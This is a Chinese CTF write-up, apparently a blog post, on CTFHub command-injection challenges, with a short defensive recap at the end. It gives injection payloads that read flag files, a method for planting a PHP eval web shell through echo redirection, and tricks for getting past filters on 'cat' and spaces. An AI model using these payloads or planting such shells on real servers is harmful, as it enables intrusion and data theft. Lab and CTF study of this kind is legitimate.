CTFHub技能树笔记之RCE:命令注入、过滤cat、过滤空格

小白一个,记录解题过程,如有错误请指正!

一、命令注入

补充知识点:

        命令行注入漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。

Windows系统支持的管道符如下:

1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

1. “;”:执行完前面的语句再执行后面的语句。
2. “|”:显示后面语句的执行结果。
3. “||”:当前面的语句执行出错时,执行后面的语句。
4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

解法一:

1.查看当前目录,发现有另一个页面,当时没太注意

 2.查看根目录,发现并没有flag,反应过来flag可能在238442225211085.php

 
3.查看238442225211085.php,并没有回显

​
127.0.0.1; cat 238442225211085.php
​

查了一下,可能是字符编码显示不出来,用base64加密形式显示

127.0.0.1; cat 238442225211085.php |base64

解法二:

补充知识点:

        输出重定向:

 1.我们可以用重定向的方法注入一个一句话木马:

127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > shell.php

 2.用蚁剑连接即可

二、过滤cat

1.查看当前目录

2.根据题目可以知道cat被过滤了,并不能简单的得到flag

3.使用单引号绕过 

127.0.0.1; c''at flag_2287214057241.php |base64

4.使用双引号绕过 

127.0.0.1; c""at flag_2287214057241.php |base64

5.利用Shell 特殊变量绕过

127.0.0.1; ca$@t flag_2287214057241.php|base64

 三、过滤空格

1.先看当前目录

2.根据题目可以知道空格被过滤掉了 

 3.空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

以下payload皆可绕过本题空格:

127.0.0.1;cat<flag_2057057213623.php|base64
127.0.0.1;cat$IFS$9flag_2057057213623.php|base64
127.0.0.1;cat${IFS}flag_2057057213623.php|base64

参考文章:

https://www.cnblogs.com/0yst3r-2046/p/12600073.html

https://www.runoob.com/linux/linux-shell-io-redirections.html

https://blog.youkuaiyun.com/Manuffer/article/details/120672448

### CTFHub 技能树 Web RCE 命令注入 练习题及解法 #### 关于RCE(远程命令执行) 远程命令执行漏洞允许攻击者通过应用程序接口向服务器发送恶意指令并获得响应。这种类型的漏洞通常发生在输入未被充分验证的情况下,使得攻击者能够利用特定的字符串来触发系统的 shell 执行功能。 在 CTFHub技能树中提到的一个典型场景是使用 Hackbar 插件配合 GET 请求传递参数 `ctfhub` 来实现文件遍历操作[^1]。此过程展示了如何通过构造特殊的 URL 参数让目标程序暴露其内部结构甚至敏感数据。 #### 实践案例分析 假设存在这样一个脆弱点:当用户访问某个页面时可以指定额外选项作为查询条件的一部分;如果开发者没有对这些外部可控变量加以过滤,则可能形成安全隐患。例如,在下面的例子中,我们尝试调用 Linux 系统自带的一些基本工具完成任务: ```bash ?cmd=ls / ``` 上述请求会返回根目录下的所有子项列表[^3]。进一步地,为了读取具体的目标文件内容,我们可以继续提交如下形式的数据包给服务端处理: ```bash ?cmd=cat flag.txt ``` 这一步骤最终实现了从远端提取到所需的标志位信息——即所谓的 “Flag”。 #### 编码实践中的防御措施 为了避免此类问题的发生,应当采取以下策略之一或者组合应用它们以增强安全性: - **白名单机制**:仅接受预定义范围内的合法值; - **转义特殊字符**:对于不可信来源的内容做适当转换以免干扰正常解析流程; - **最小权限原则**:确保运行环境只拥有刚好够用的权利而不会越界行事。 以下是基于 PHP 语言编写的一段示范代码片段用于演示安全编码方式预防潜在威胁的方法: ```php <?php // 安全版本: 使用 escapeshellarg 函数防止非法字符进入系统调用层 $command = 'echo '.escapeshellarg($_GET['input']); exec($command, $output); print_r($output); ?> ``` #### 总结 通过对实际题目解决方案的学习以及常见防护手段的研究可以帮助参赛选手更好地理解 web 应用开发过程中需要注意的安全事项,并提高解决类似挑战的能力。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值